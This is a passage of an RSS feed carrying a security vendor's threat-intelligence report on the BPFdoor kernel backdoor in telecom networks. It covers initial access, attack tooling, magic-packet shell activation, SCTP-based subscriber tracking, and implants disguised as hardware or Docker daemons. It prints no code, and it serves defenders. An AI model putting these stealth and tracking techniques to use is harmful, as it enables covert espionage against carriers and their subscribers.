payload. Furthermore, unlike httpShell, the icmpShell is designed to run without requiring live interaction as it terminates itself after 12s of inactivity, demonstrating how surgical and precise the TA intervention is when accessing the core of the backbone, achieving maximum stealthiness.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>For an exhaustive deep dive of the assembly code, BPF bytecode, and exact packet structures used by icmpShell and httpShell variants, please refer to our </span><span style='font-size: undefined;'><strong>technical whitepaper </strong></span><a href="https://assets.contentstack.io/v3/assets/blte4f029e766e6b253/bltd3dbeae8537bb21b/69ce33a499d6c52de57e4a02/unmasking-the-new-stealthy-BPFDoor-variants.pdf" target="_blank"><span style='font-size: undefined;'><strong>here</strong></span></a><span style='font-size: undefined;'>. You can also view our</span><span style='font-size: undefined;'><strong> on-demand webinar </strong></span><a href="https://www.brighttalk.com/webcast/10457/665136?utm_source=Rapid7&amp;utm_medium=brighttalk&amp;utm_campaign=665136?utm_source=brighttalk&amp;utm_medium=blog&amp;utm_content=follow-up&amp;utm_campaign=global-pla-q1-2026-project-matrix-webinar-prospect-eng" target="_blank"><span style='font-size: undefined;'><strong>here</strong></span></a><span style='font-size: undefined;'>.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/tr-new-whitepaper-stealthy-bpfdoor-variants</link>
      <guid isPermaLink="false">bltc523388b61c90b80</guid>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Labs]]></category>
      <category><![CDATA[Threat Intel]]></category><dc:creator><![CDATA[Rapid7 Labs]]></dc:creator>
      <pubDate>Thu, 02 Apr 2026 13:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt798a899f1a4b6f05/69ce68974027816403c2d330/Hero-Unmasking-New-Stealthy-BPFDoor-Variants.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[BPFdoor in Telecom Networks: Sleeper Cells in the Backbone]]></title>
      <description><![CDATA[<h2>Executive overview</h2><h4><span style='color:rgb(102, 102, 102);'><em>The strategic positioning of covert access within the world’s telecommunication networks</em></span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>A months-long investigation by Rapid7 Labs has uncovered evidence of an advanced China-nexus threat actor, Red Menshen, placing some of the stealthiest digital sleeper cells the team has ever seen in telecommunications networks. The goal of these campaigns is to carry out high-level espionage, including against government networks.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Telecommunications networks are the central nervous system of the digital world. They carry government communications, coordinate critical industries, and underpin the digital identities of billions of people. When these networks are compromised, the consequences extend far beyond a single provider or region. That level of access is, and should be, a national concern as it compromises not just one company or organization, but the communications of entire populations.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Over the past decade, telecom intrusions have been reported across multiple countries. In several cases, state-backed actors accessed call detail records, monitored sensitive communications, and exploited trusted interconnections between operators. While these incidents often appear isolated, a broader pattern is emerging.</span></p><h3>Why telecom networks are strategic espionage targets</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Telecommunications infrastructure provides a uniquely valuable strategic positioning.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Modern telecom networks are layered ecosystems composed of routing systems, subscriber management platforms, authentication services, billing systems, roaming databases, and lawful intercept capabilities. These systems rely on specialized signaling protocols such as SS7, Diameter, and SCTP to coordinate identity, mobility, and connectivity across national and international boundaries.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Persistent access within these environments enables far more than a conventional data breach. An adversary positioned inside the telecom core may gain visibility into subscriber identifiers, signaling flows, authentication exchanges, mobility events, and communications metadata. In the most concerning scenarios, this level of access could support long-term intelligence collection, large-scale subscriber tracking, and monitoring of sensitive communications involving high-value geopolitical targets.</span></p><p>Telecommunications networks sit at the intersection of identity, mobility, and global connectivity. Compromise at this layer carries national and international implications.</p><h3>A structured campaign, not isolated incidents</h3><p style="direction: ltr;"><span style='font-size: undefined;'>What looks like discrete breaches increasingly resembles a repeatable campaign model designed to establish persistent access inside telecommunications infrastructure.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Our investigation uncovered a long-term and ongoing operation attributed to a China-nexus threat actor. Rather than conducting short-term intrusion activity, the operators appear focused on long-term positioning by embedding stealthy access mechanisms deep inside telecom and critical environments and maintaining them for extended periods.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In effect, attackers are placing sleeper cells inside the telecom backbone: dormant footholds positioned well in advance of operational use.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Across investigations and public reporting, we observe recurring elements: kernel-level implants, passive backdoors, credential-harvesting utilities, and cross-platform command frameworks. Together, these components form a persistent access layer designed not simply to breach networks, but to inhabit them.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt6f617bb490e2bc04/69c3f3768b8bd3940f448a94/Actors-tools-regions-graph-threat-groups-telecom-sector.png" alt="Actors-tools-regions-graph-threat-groups-telecom-sector.png" caption="Figure 1: Actors, tools and regions in which specific threat groups target the telecom sector" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Actors-tools-regions-graph-threat-groups-telecom-sector.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt6f617bb490e2bc04/69c3f3768b8bd3940f448a94/Actors-tools-regions-graph-threat-groups-telecom-sector.png" data-sys-asset-uid="blt6f617bb490e2bc04" data-sys-asset-filename="Actors-tools-regions-graph-threat-groups-telecom-sector.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Actors, tools and regions in which specific threat groups target the telecom sector" data-sys-asset-alt="Actors-tools-regions-graph-threat-groups-telecom-sector.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 1: Actors, tools and regions in which specific threat groups target the telecom sector</figcaption></div></figure><h3>How BPFdoor enables covert, deep-seated persistence</h3><p style="direction: ltr;"><span style='font-size: undefined;'>At the center of this activity is BPFdoor, a stealth Linux backdoor engineered to operate within the operating system kernel.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Unlike conventional malware, BPFdoor does not expose listening ports or maintain visible command-and-control channels. Instead, it abuses Berkeley Packet Filter (BPF) functionality to inspect network traffic directly inside the kernel, activating only when it receives a specifically- crafted trigger packet. There is no persistent listener or obvious beaconing. The result is a hidden trapdoor embedded within the operating system itself.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This approach represents a shift in stealth tradecraft. By positioning below many traditional visibility layers, the implant significantly complicates detection, even when defenders know what to look for.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Our research indicates BPFdoor is not an isolated tool, but part of a broader intrusion model targeting telecom environments at scale.</span></p><h3>How attackers gain initial access to telecom environments</h3><p style="direction: ltr;"><span style='font-size: undefined;'>These findings reflect a broader evolution in adversary tradecraft. Attackers are embedding implants deeper into the computing stack — targeting operating system kernels and infrastructure platforms rather than relying solely on user-space malware.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Telecom environments — combining bare-metal systems, virtualization layers, high-performance appliances, and containerized 4G/5G core components — provide ideal terrain for low-noise, long-term persistence. By blending into legitimate hardware services and container runtimes, implants can evade traditional endpoint monitoring and remain undetected for extended periods.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For defenders, the implications are significant. Many organizations lack visibility into kernel-level operations, raw packet-filtering behavior, and anomalous high-port network activity on Linux systems. Addressing this threat requires expanding defensive visibility beyond the traditional perimeter to include deeper inspection of operating system behavior and infrastructure layers.</span></p><h3>Sharing intelligence responsibly</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Our investigation to identify potential victims is ongoing and, where potential compromise has been discovered, we have notified affected parties through relevant authorities or direct communication with our customers.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>As part of our responsible research process, we have collaborated with government partners and national CERTs to share findings and indicators associated with this activity. When our analysis identified infrastructure that may have been impacted, we proactively notified the relevant organizations and provided detection guidance to assist with investigation and response while the research was still underway.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 Intelligence Hub customers have access to the full technical details and indicators of compromise within the platform, including Surricata rules. Those rules are also available through AWS Marketplace, where we offer our curated AWS firewall rule sets. </span></p><h2>Technical analysis</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The sections that follow examine how modern telecommunications networks are structured, how initial access is established, and how BPFdoor and related tooling enable infrastructure-level persistence inside the telecom backbone.</span></p><h3>Modern telecom network structure</h3><p style="direction: ltr;"><span style='font-size: undefined;'>To understand why telecom environments are such attractive strategic targets, it helps to visualize their layered architecture (Figure 2). At the outer edge sit customer-facing services and access infrastructure: mobile base stations (RAN), fiber aggregation routers, broadband gateways, DNS services, SMS-controllers, roaming gateways, security appliances like firewalls, proxies, VPNs, and internet peering points. These edge systems connect into the operator’s IP core and transport backbone, where high-capacity routers and switches move massive volumes of voice, data, and signaling traffic across regions and international borders.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9519f81496317642/69c3f4fd2c37652fa2e5f604/Telecom-provider-network-rapid7-chart.png" height="816" alt="Telecom-provider-network-rapid7-chart.png" caption="Figure 2: Simplified version of a telecom provider’s network" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Telecom-provider-network-rapid7-chart.png" width="1223" style="width: 1223px; height: 816px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9519f81496317642/69c3f4fd2c37652fa2e5f604/Telecom-provider-network-rapid7-chart.png" data-sys-asset-uid="blt9519f81496317642" data-sys-asset-filename="Telecom-provider-network-rapid7-chart.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2: Simplified version of a telecom provider’s network" data-sys-asset-alt="Telecom-provider-network-rapid7-chart.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 2: Simplified version of a telecom provider’s network</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Deeper inside lies the control plane, the heart of the telecom network, built around subscriber management systems such as HLR/HSS or UDM, authentication platforms (AuC), policy control functions, billing systems, lawful intercept platforms, and roaming databases. These systems communicate using specialized telecom signaling protocols such as SS7, Diameter, and increasingly SCTP-based signaling for LTE and 5G core components. At the foundation, much of this infrastructure ultimately runs on hardened, but often standard, Linux or BSD-based bare-metal servers, virtualization stacks, and high-performance network appliances. When an adversary implants a persistent backdoor at the kernel level within these environments, they are not simply compromising a server, they are positioning themselves adjacent to subscriber data, signaling flows, and the mechanisms that authenticate and route national and international communications.</span></p><h3>Initial access</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Telecom intrusions rarely begin deep inside the core. Instead, attackers focus on exposed edge services and internet-facing infrastructure. Techniques such as exploitation of public-facing applications (T1190) and abuse of valid accounts (T1078) are repeatedly observed. Devices commonly targeted include: Ivanti Connect Secure VPN appliances, Cisco IOS and JunOS network devices, Fortinet firewalls, VMware ESXi hosts, Palo Alto appliances, and even web-facing platforms like Apache Struts. These systems sit at the boundary between external traffic and internal telecom environments, making them high-value entry points. Once compromised, they provide authenticated pathways into the provider’s network, often without triggering traditional endpoint detection mechanisms.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Let’s highlight some of the tools we observed during initial access and attempt to get more credentials for lateral movement.</span></p><h4><span style='color:rgb(67, 67, 67);'>CrossC2</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>Once initial access is secured, the operators frequently deploy Linux-compatible beacon frameworks such as CrossC2. This Cobalt Strike-derived loader enables beacon functionality on Linux hosts and has been repeatedly observed in PRC-aligned intrusion campaigns. It provides the same post-exploitation capabilities traditionally seen in Windows environments, command execution, pivoting, staging, but tailored for Linux-heavy telecom infrastructure. CrossC2 allows operators to blend into server environments that form the backbone of telecom operations, particularly edge devices and core routing systems. Just as with the Cross C2 configuration, investing reveals the C2 server. For example:</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9c5269f973e9760e/69c3f5f42c3765849ae5f609/Cross-C2-configuration-rapid7-telecom-research.png" alt="Cross-C2-configuration-rapid7-telecom-research.png" caption="Figure 3: CrossC2 configuration" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Cross-C2-configuration-rapid7-telecom-research.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9c5269f973e9760e/69c3f5f42c3765849ae5f609/Cross-C2-configuration-rapid7-telecom-research.png" data-sys-asset-uid="blt9c5269f973e9760e" data-sys-asset-filename="Cross-C2-configuration-rapid7-telecom-research.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: CrossC2 configuration" data-sys-asset-alt="Cross-C2-configuration-rapid7-telecom-research.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 3: CrossC2 configuration</figcaption></div></figure><p>⠀</p><h4><span style='color:rgb(67, 67, 67);'>TinyShell</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>For long-term persistence, actors often rely on TinyShell, an open-source passive backdoor framework repurposed and customized by multiple APT groups. TinyShell is frequently observed on boundary devices such as firewalls, VPN appliances, and virtualization hosts. Compiled for Linux and FreeBSD, it is designed with stealth in mind: minimal network footprint, passive communication model, and reliable remote command execution capabilities. </span></p><h4><span style='color:rgb(67, 67, 67);'>Keyloggers and bruteforcers</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>After foothold establishment, attackers focus on persistence and lateral movement. Tooling such as Sliver, CrossC2, and TinyShell are complemented by SSH brute forcers and custom ELF-based keyloggers. In some cases, operators deploy brute-force utilities containing pre-populated credential lists tailored for telecom environments, even including specific usernames like “imsi,” referencing subscriber identity systems. This level of contextual awareness indicates reconnaissance and targeting aligned with telecom operational terminology. The goal is clear: move laterally, harvest credentials, and reach control-plane systems where subscriber data and signaling infrastructure reside.</span></p><h3>BPFdoor</h3><p style="direction: ltr;"><span style='font-size: undefined;'>BPFdoor first came to broader public attention around 2021, when researchers uncovered a stealthy Linux backdoor used in long-running espionage campaigns targeting telecommunications and government networks. The BPFDoor source code reportedly leaked online in 2022, making the previously specialized Linux backdoor more accessible to other threat actors. Normally, BPF is used by tools like tcpdump or libpcap to capture specific network traffic, such as filtering for TCP port 443. It operates partly in kernel space, meaning it processes packets before they reach user-space applications.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>BPFdoor abuses this capability. Rather than binding to a visible listening port, the implant installs a custom BPF filter inside the kernel that inspects incoming packets for a specific pattern, a predefined sequence of bytes often referred to as a “magic packet” or “magic byte.” If the pattern does not match, nothing happens. The traffic continues as normal. No open port or obvious process-accepting connections. But when the correct sequence is delivered to the correct destination port, the behavior changes instantly.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt17abe00687115be1/69c3f660d2164c9267658b24/BPF-overview-variants-bpfdoor-rapid7-research-chart.png" alt="BPF-overview-variants-bpfdoor-rapid7-research-chart.png" caption="Figure 4: Overview of BPF and how early BPFdoor variants are operating" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="BPF-overview-variants-bpfdoor-rapid7-research-chart.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt17abe00687115be1/69c3f660d2164c9267658b24/BPF-overview-variants-bpfdoor-rapid7-research-chart.png" data-sys-asset-uid="blt17abe00687115be1" data-sys-asset-filename="BPF-overview-variants-bpfdoor-rapid7-research-chart.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Overview of BPF and how early BPFdoor variants are operating" data-sys-asset-alt="BPF-overview-variants-bpfdoor-rapid7-research-chart.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 4: Overview of BPF and how early BPFdoor variants are operating</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Imagine retrieving a parcel from a secure pickup locker. The locker sits quietly in public view, no alarms, no obvious signs of activity. It only opens when the correct code is entered.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>BPFdoor behaves the same way.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The implant remains dormant inside the Linux kernel, passively inspecting network traffic. It does not advertise itself. It does not respond to scans. But when an operator sends the correct “code”, the specific magic byte sequence embedded in a crafted packet, the BPF filter recognizes the pattern and triggers the next stage.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Instead of opening a physical door, it spawns a bind shell or reverse shell. Importantly, this activation can occur without a traditional listening service ever being visible in netstat or ss. To a defender, the system appears clean; there is no persistent open port to detect.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Before we showcase this, something important to note is that BPFdoor operations consist of two distinct components: the implant and the controller. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The implant is the passive backdoor deployed on the compromised Linux system, where it installs a malicious BPF filter and silently inspects incoming traffic for a predefined “magic” packet. It does not continuously beacon or expose a listening port, making it extremely stealthy. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The controller, on the other hand, is operated by the attacker and is responsible for crafting and sending the specially formatted packets that activate the backdoor and establish a remote shell. While it can be run from attacker-controlled infrastructure such as compromised routers or external systems, the controller is also designed to operate within the victim’s environment itself. In this mode it can masquerade as legitimate system processes and trigger additional implants across internal hosts by sending activation packets or by opening a local listener to receive shell connections, effectively enabling controlled lateral movement between compromised systems. In essence, the implant acts as the hidden lock embedded within the system, while the controller functions as the key that can activate it. A deeper technical analysis of the controller architecture and its role in lateral movement will be covered in a forthcoming technical blog.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>To demonstrate how these first backdoors work, we created the video below, in which we are running a BPFdoor made visible. Next, we send the magic packet and instructions to the IP address and port we are listening on. Then the BPFdoor opens up the “safe” and creates the tunnel. In the final part of the demo, we see that on our Netcat listener, we have a remote shell and can query the system.</span></p><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Next, we will highlight how we started to hunt for BPFdoor.</span></p><h4><span style='color:rgb(67, 67, 67);'>Hunting for BPFdoor variants</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>Since we were aware of several BPFdoor attacks and samples circulating, we started hunting for more samples and developed internal tools to extract, compare, and detect early indicators of new features. One threat hunting angle Rapid7 Labs really loves to focus on is code similarity of samples. Code similarity of malware samples can result in clusters of samples with similar activity, but most importantly, also demonstrate outliers that are potential candidates for research since they do not share commodity with the other samples.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The BPFdoor samples we collected and hunted for are all Executable and Linkable Format (ELF) files, but we are aware of samples compiled for running on Solaris. ELF is the standard binary file format for executables, object code, shared libraries, and core dumps on Linux and Unix-like operating systems.</span><span style='font-size: undefined;'> </span><span style='font-size: undefined;'>For the ELF files, we wrote a custom tool for clustering ELF/BPFdoor. By extracting .text section byte code blocks, generating MinHash signatures, and completing a few other steps, it will then compute exact Jaccard similarity and export the resulting similarity graph for visual cluster analysis.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blteab862f984376be8/69c3f89aaa4cbed5d1832d7d/Code-Similarity-clustering-BPFdoor-samples.png" alt="Code-Similarity-clustering-BPFdoor-samples.png" caption="Figure 5: Code Similarity clustering of BPFdoor samples" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Code-Similarity-clustering-BPFdoor-samples.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blteab862f984376be8/69c3f89aaa4cbed5d1832d7d/Code-Similarity-clustering-BPFdoor-samples.png" data-sys-asset-uid="blteab862f984376be8" data-sys-asset-filename="Code-Similarity-clustering-BPFdoor-samples.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 5: Code Similarity clustering of BPFdoor samples" data-sys-asset-alt="Code-Similarity-clustering-BPFdoor-samples.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 5: Code Similarity clustering of BPFdoor samples</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>In our visualization, we clearly observe certain clusters of BPFdoor, but also outliers and smaller clusters that were up for investigation. The thicker the line, the more similar the code is to the samples it is attached to. By creating a feature comparison/extraction tool, we started to discover interesting features in the samples, which led us to a new controller discovery and security bypass feature. For example, we discovered a variant we dubbed “F” that uses a 26 BPF instruction filter with</span><span style='color:rgb(29, 28, 29);font-size: undefined;'> new magic packets.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Although it was previously reported that some samples support the Stream Control Transmission Protocol (SCTP), there is a tendency to read over it and not put it into the right context of what the consequences are. SCTP is not typical enterprise traffic; it underpins Public Switch Telephone Network (PSTN) signaling and real-time communication between core 4G and 5G network elements. By configuring BPF filters to inspect SCTP traffic directly, operators are no longer just maintaining server access, they are embedding themselves into the signaling plane of the telecom network. This is a fundamentally different level of positioning. Instead of sitting at the IT perimeter, the implant resides adjacent to the mechanisms that route calls, authenticate devices, and manage subscriber mobility.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt6093f59f01ab6f7f/69c3f8f01fa3286f55253f03/Example-SCTP-route-extracted-BPF-code.png" alt="Example-SCTP-route-extracted-BPF-code.png" caption="Figure 6: Example of SCTP route extracted from the BPF code" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Example-SCTP-route-extracted-BPF-code.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt6093f59f01ab6f7f/69c3f8f01fa3286f55253f03/Example-SCTP-route-extracted-BPF-code.png" data-sys-asset-uid="blt6093f59f01ab6f7f" data-sys-asset-filename="Example-SCTP-route-extracted-BPF-code.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 6: Example of SCTP route extracted from the BPF code" data-sys-asset-alt="Example-SCTP-route-extracted-BPF-code.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 6: Example of SCTP route extracted from the BPF code</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Access to SCTP traffic opens powerful intelligence collection opportunities. In legacy and transitional environments, improperly secured signaling can expose SMS message contents, IMSI identifiers, and source/destination metadata. By observing or manipulating traffic over SCTP commands such as ProvideSubscriberLocation or UpdateLocation, an adversary can track a device’s real-world movement. In 5G environments, traffic over SCTP carries registration requests and Subscription Concealed Identifiers (SUCI), allowing identity probing at scale. At this point, the compromise is no longer about server persistence; it becomes population-level visibility into subscriber behavior and location. Translated, you could track individuals of interest. </span></p><h3>Interesting observations</h3><h4><span style='color:rgb(67, 67, 67);'>The bare-metal to telecom equipment link</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>During the code investigations, we discovered that some BPFdoor samples are using code to mimic the bare-metal infrastructure, particularly enterprise-grade hardware platforms commonly deployed in telecom environments. By masquerading as legitimate system services that run only on bare metal, the implant blends into operational noise. This is especially relevant in environments leveraging HPE ProLiant and similar high-performance compute systems used for 5G core and edge deployments. </span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8b7dc27f659b2203/69c3f943aa4cbe5bfa832d83/Example-code-mimicking-HP-Proliant-servers.png" alt="Example-code-mimicking-HP-Proliant-servers.png" caption="Figure 7: Example of code mimicking HP Proliant servers" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Example-code-mimicking-HP-Proliant-servers.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8b7dc27f659b2203/69c3f943aa4cbe5bfa832d83/Example-code-mimicking-HP-Proliant-servers.png" data-sys-asset-uid="blt8b7dc27f659b2203" data-sys-asset-filename="Example-code-mimicking-HP-Proliant-servers.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 7: Example of code mimicking HP Proliant servers" data-sys-asset-alt="Example-code-mimicking-HP-Proliant-servers.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 7: Example of code mimicking HP Proliant servers</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>In the above screenshot of one of the BPFdoor samples, we observed the processname </span><span style='font-size: undefined;'><em>“hpasmlited”.</em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>By mimicking legitimate service names and process behavior of HPE ProLiant servers, attackers ensure the implant appears native to the hardware environment, a tactic that significantly complicates detection. Several of these service names have been observed in BPFdoor samples, but this name stood out. The </span><span style='font-size: undefined;'><em>hpasmlited.pid</em></span><span style='font-size: undefined;'> creates process threads, and mimics daemon-style behavior consistent with hardware monitoring services. The real </span><span style='font-size: undefined;'><em>hpasmlited</em></span><span style='font-size: undefined;'> process belongs to HPE’s Agentless Management Service, which runs on bare-metal ProLiant servers to expose hardware telemetry and system health data.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>By adopting this name and writing a corresponding PID file, the malware blends into expected operational noise on telecom-grade ProLiant infrastructure. Of course this is not accidental naming, it demonstrates environment awareness and targeting intent. The operators appear to know they are running on physical HPE hardware commonly deployed in 4G/5G core and edge systems. By impersonating a trusted hardware management daemon that administrators expect to see, the implant reduces suspicion during forensic review while embedding itself directly into the physical backbone layer of telecom infrastructure. This tactic reflects a broader strategy: hide not just in Linux, but in the hardware identity of the telecom environment itself.</span></p><h4><span style='color:rgb(67, 67, 67);'>Mimicking containers</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>A second strategy involves spoofing core containerization components. Critical 5G core components such as the Access and Mobility Management Function (AMF), Session Management Function (SMF), and User Data Management (UDM) run as cloud native network functions inside Kubernetes pods. The following code excerpt demonstrates that the implant is aware of it.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt15fab2f9859d7968/69c3fadccfd9c95b99968e3e/Code-mimicking-container-docker-service.png" alt="Code-mimicking-container-docker-service.png" caption="Figure 8: Code showing the mimicking of container/docker service" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Code-mimicking-container-docker-service.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt15fab2f9859d7968/69c3fadccfd9c95b99968e3e/Code-mimicking-container-docker-service.png" data-sys-asset-uid="blt15fab2f9859d7968" data-sys-asset-filename="Code-mimicking-container-docker-service.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8: Code showing the mimicking of container/docker service" data-sys-asset-alt="Code-mimicking-container-docker-service.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 8: Code showing the mimicking of container/docker service</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Docker Daemon (/usr/bin/dockerd) and containerd: The malware is executed with root privileges and adopts the exact command-line arguments of a legitimate Docker daemon (e.g., -H fd:// --containerd=/run/containerd/containerd.sock).</span></p><h2>Recap for a moment</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Up to this point, what we’ve described in our technical analysis has, more or less, been publicly available information; however, these pieces have not been assembled in a way that provides the context Rapid7 Labs has discovered through its in-depth investigation. Therefore, before we deep dive into some of the new technical findings that completes the picture of what is truly happening here, let’s pause for a moment to sync up on what we’ve just described. </span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>So far, our findings illustrate that BPFdoor is far more than a stealthy Linux backdoor. The kernel-level packet filtering, passive activation through magic packets, masquerading as legitimate hardware management services, awareness of container runtimes, and the ability to monitor telecom-native protocols such as SCTP, point to a tool designed for deep infrastructure positioning. Rather than targeting individual servers, the operators appear to focus on the underlying platforms that power modern telecommunications networks: bare-metal systems running telecom workloads, cloud-native Kubernetes environments hosting Containerized Network Functions, and the signaling protocols that coordinate subscriber identity, mobility, and communication flows. In this context, BPFdoor functions as an access layer embedded within the telecom backbone, providing long-term, low-noise visibility into critical network operations.</span></p><h2>What Rapid7 found in newer BPFdoor variants</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The following sections provide a high-level overview of several newly observed capabilities and behavioral patterns in recent BPFdoor samples. While these findings highlight important technical developments, this blog intentionally focuses on the architectural implications and operational context rather than a full reverse-engineering deep dive. Detailed technical analyses, including code-level breakdowns, will be published in upcoming research posts.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>During our investigation, we identified a previously undocumented variant of BPFdoor that introduces several architectural changes designed to improve stealth and survivability in modern enterprise and telecom environments. We will highlight these features and illustrate how the malware continues to evolve beyond the earlier “magic packet” activation model.</span></p><h3>Network-level invisibility: The BPF trapdoor</h3><p style="direction: ltr;"><span style='font-size: undefined;'>As we described before, the early BPFdoor installed a Berkeley Packet Filter inside the Linux kernel that inspected incoming network traffic. When a specially crafted “magic packet” containing a predefined byte sequence arrived at the correct port, the backdoor would activate and spawn a shell. Because the system never actually opened a port, tools such as netstat, ss, or nmap saw nothing unusual.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The newly observed variant evolves this concept. Instead of relying on a simple magic packet that could potentially be detected by intrusion detection signatures, the trigger is now embedded within seemingly legitimate HTTPS traffic. The attacker sends a carefully crafted request that travels through standard network infrastructure such as reverse proxies, load balancers, or web application firewalls. Once the traffic reaches the compromised host and is decrypted as part of normal SSL termination, the hidden command sequence can be extracted and used to activate the backdoor. In essence, in our previously mentioned analogy explaining the magic packet mechanism, the safe still requires a code, but now the code is concealed inside normal, encrypted web traffic, allowing it to pass through modern security controls before unlocking the trapdoor.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt500701fb86b66cc2/69c3fb57da444da18ef7ef2a/bpfdoor-controller-weaponizes-ssl-termination-chart.png" 